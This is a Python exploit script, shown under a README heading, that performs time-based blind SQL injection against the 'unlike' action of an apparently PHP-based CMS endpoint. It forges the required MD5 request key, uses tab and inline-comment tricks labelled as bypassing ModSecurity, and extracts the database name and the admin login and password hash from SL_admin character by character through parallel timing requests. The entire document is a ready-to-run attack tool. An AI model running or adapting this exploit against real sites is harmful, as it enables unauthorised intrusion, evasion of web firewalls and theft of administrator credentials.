README.md
Rendering markdown...
from argparse import ArgumentParser
from multiprocessing import Pool
import requests
import hashlib
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
} # bypass ModSecurity
CHARS = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_"
url = ""
sleep = 30
def _params(payload):
params = {
"action": "unlike",
"id": "t1\x09and\x09sleep(15)",
"timestamp": "10000000000000000",
}
params["id"] = payload
params["key"] = md5(params)
return params
def _payload(condition):
payload = "t1\x09and\x09if({0},sleep({1}),1)".format(condition, sleep)
return payload
def request(payload):
params = _params(payload)
try:
r = requests.get(url, headers=headers, params=params)
time = r.elapsed.total_seconds()
except:
time = 0
return time
def md5(params):
m = hashlib.md5()
key = params["id"] + "10000000000000000" + "unlike"
key = key.encode("utf-8")
m.update(key)
key = m.hexdigest()
return key
def length_arg(query, length):
arg = (length, "length({0})={1}".format(query, length))
return arg
def length_args(query):
args = [length_arg(query, length) for length in range(1, 100)]
return args
def char_arg(query, index, char):
arg = (char, "ascii(substr({0},{1},1))={2}".format(query, index, ord(char)))
return arg
def char_args(query, index, chars):
args = [char_arg(query, index, char) for char in chars]
return args
def find_len(args):
result = 0
length, condition = args
payload = _payload(condition)
time = request(payload)
if time > sleep:
result = length
return result
def find_char(args):
char, condition = args
result = ""
payload = _payload(condition)
time = request(payload)
if time > sleep:
result = char
return result
def find_length(query):
length = 0
args = length_args(query)
pool = Pool()
for length in pool.imap(find_len, args):
if length:
arg = length_arg(query, length)
length = find_len(arg)
if length:
break
return length
def find_value(query, length):
value = ""
pool = Pool()
for index in range(1, length + 1):
args = char_args(query, index, CHARS)
for char in pool.imap_unordered(find_char, args):
if char:
arg = char_arg(query, index, char)
char = find_char(arg)
if char:
value += char
break
return value
def test():
payload = "t1\x09and\x09sleep({})".format(sleep)
time = request(payload)
if time > sleep:
print(">---- Injected successfully")
else:
print(">---- Injected unsuccessfully")
def main():
parser = ArgumentParser()
parser.add_argument("url", help="URL (e.q. http://localhost/js/scms.php)")
parser.add_argument(
"-s", dest="sleep", default=30, type=int, help="Sleep time (default 30s)"
)
parser.add_argument(
"--test",
dest="test",
action="store_const",
const=True,
default=False,
help="test for injection",
)
parser.add_argument(
"--db",
dest="db",
action="store_const",
const=True,
default=False,
help="retrieve database",
)
parser.add_argument(
"--login",
dest="login",
action="store_const",
const=True,
default=False,
help="retrieve A_login",
)
parser.add_argument(
"--pwd",
dest="pwd",
action="store_const",
const=True,
default=False,
help="retrieve A_pwd",
)
args = parser.parse_args()
global url, sleep
url = args.url
sleep = args.sleep
queries = []
if args.test:
test()
exit()
if args.db:
query = "database()"
column = "database()"
queries.append((query, column))
if args.login:
query = "(select\x09A_login#bypass\x0afrom\x09SL_admin)" # bypass ModSecurity
column = "A_login"
queries.append((query, column))
if args.pwd:
query = "(select\x09A_pwd#bypass\x0afrom\x09SL_admin)" # bypass ModSecurity
column = "A_pwd"
queries.append((query, column))
if not len(queries):
parser.print_help()
exit()
print("Start to inject")
for query, column in queries:
length = find_length(query)
print(">---- {} length:".format(column), length)
value = find_value(query, length)
print(">---- {} value:".format(column), value)
if __name__ == "__main__":
main()